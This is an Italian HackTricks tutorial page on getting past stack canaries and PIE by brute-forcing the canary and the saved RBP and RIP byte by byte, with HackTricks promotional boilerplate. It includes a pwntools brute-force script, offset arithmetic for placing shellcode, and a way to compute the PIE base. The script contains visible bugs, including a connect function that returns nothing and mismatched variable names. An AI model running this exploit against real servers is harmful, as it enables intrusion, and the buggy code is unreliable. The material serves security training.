BF Indirizzi nello Stack
Reading time: 4 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.
note
Nota che checksec
potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.
Tuttavia, puoi notarlo manualmente se scopri che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.
Indirizzi Brute-Force
Per bypassare il PIE devi leakare qualche indirizzo. E se il binario non sta leakando indirizzi, il modo migliore per farlo è brute-forzare il RBP e il RIP salvati nello stack nella funzione vulnerabile.
Ad esempio, se un binario è protetto utilizzando sia un canary che PIE, puoi iniziare a brute-forzare il canary, poi i prossimi 8 Byte (x64) saranno il RBP salvato e i prossimi 8 Byte saranno il RIP salvato.
tip
Si suppone che l'indirizzo di ritorno all'interno dello stack appartenga al codice binario principale, che, se la vulnerabilità si trova nel codice binario, sarà di solito il caso.
Per brute-forzare il RBP e il RIP dal binario puoi capire che un byte indovinato valido è corretto se il programma restituisce qualcosa o semplicemente non si blocca. La stessa funzione fornita per brute-forzare il canary può essere utilizzata per brute-forzare il RBP e il RIP:
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare indirizzi utili dagli indirizzi leakati: il RBP e il RIP.
Dal RBP puoi calcolare dove stai scrivendo il tuo shell nella stack. Questo può essere molto utile per sapere dove andrai a scrivere la stringa "/bin/sh\x00" all'interno della stack. Per calcolare la distanza tra il RBP leakato e il tuo shellcode puoi semplicemente mettere un breakpoint dopo aver leakato il RBP e controllare dove si trova il tuo shellcode, poi, puoi calcolare la distanza tra il shellcode e il RBP:
INI_SHELLCODE = RBP - 1152
Dalla RIP puoi calcolare il base address del binary PIE che è ciò di cui hai bisogno per creare un valid ROP chain.
Per calcolare il base address basta fare objdump -d vunbinary
e controllare gli indirizzi disassemblati più recenti:
In quell'esempio puoi vedere che sono necessari solo 1 Byte e mezzo per localizzare tutto il codice, quindi, il base address in questa situazione sarà la RIP leak ma che termina con "000". Ad esempio, se hai leakato 0x562002970ecf
, il base address è 0x562002970000
elf.address = RIP - (RIP & 0xfff)
Miglioramenti
Secondo alcune osservazioni di questo post, è possibile che quando si perdono i valori RBP e RIP, il server non si blocchi con alcuni valori che non sono quelli corretti e lo script BF penserà di aver ottenuto quelli giusti. Questo perché è possibile che alcuni indirizzi semplicemente non lo romperanno anche se non sono esattamente quelli corretti.
Secondo quel post del blog, si raccomanda di aggiungere un breve ritardo tra le richieste al server.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.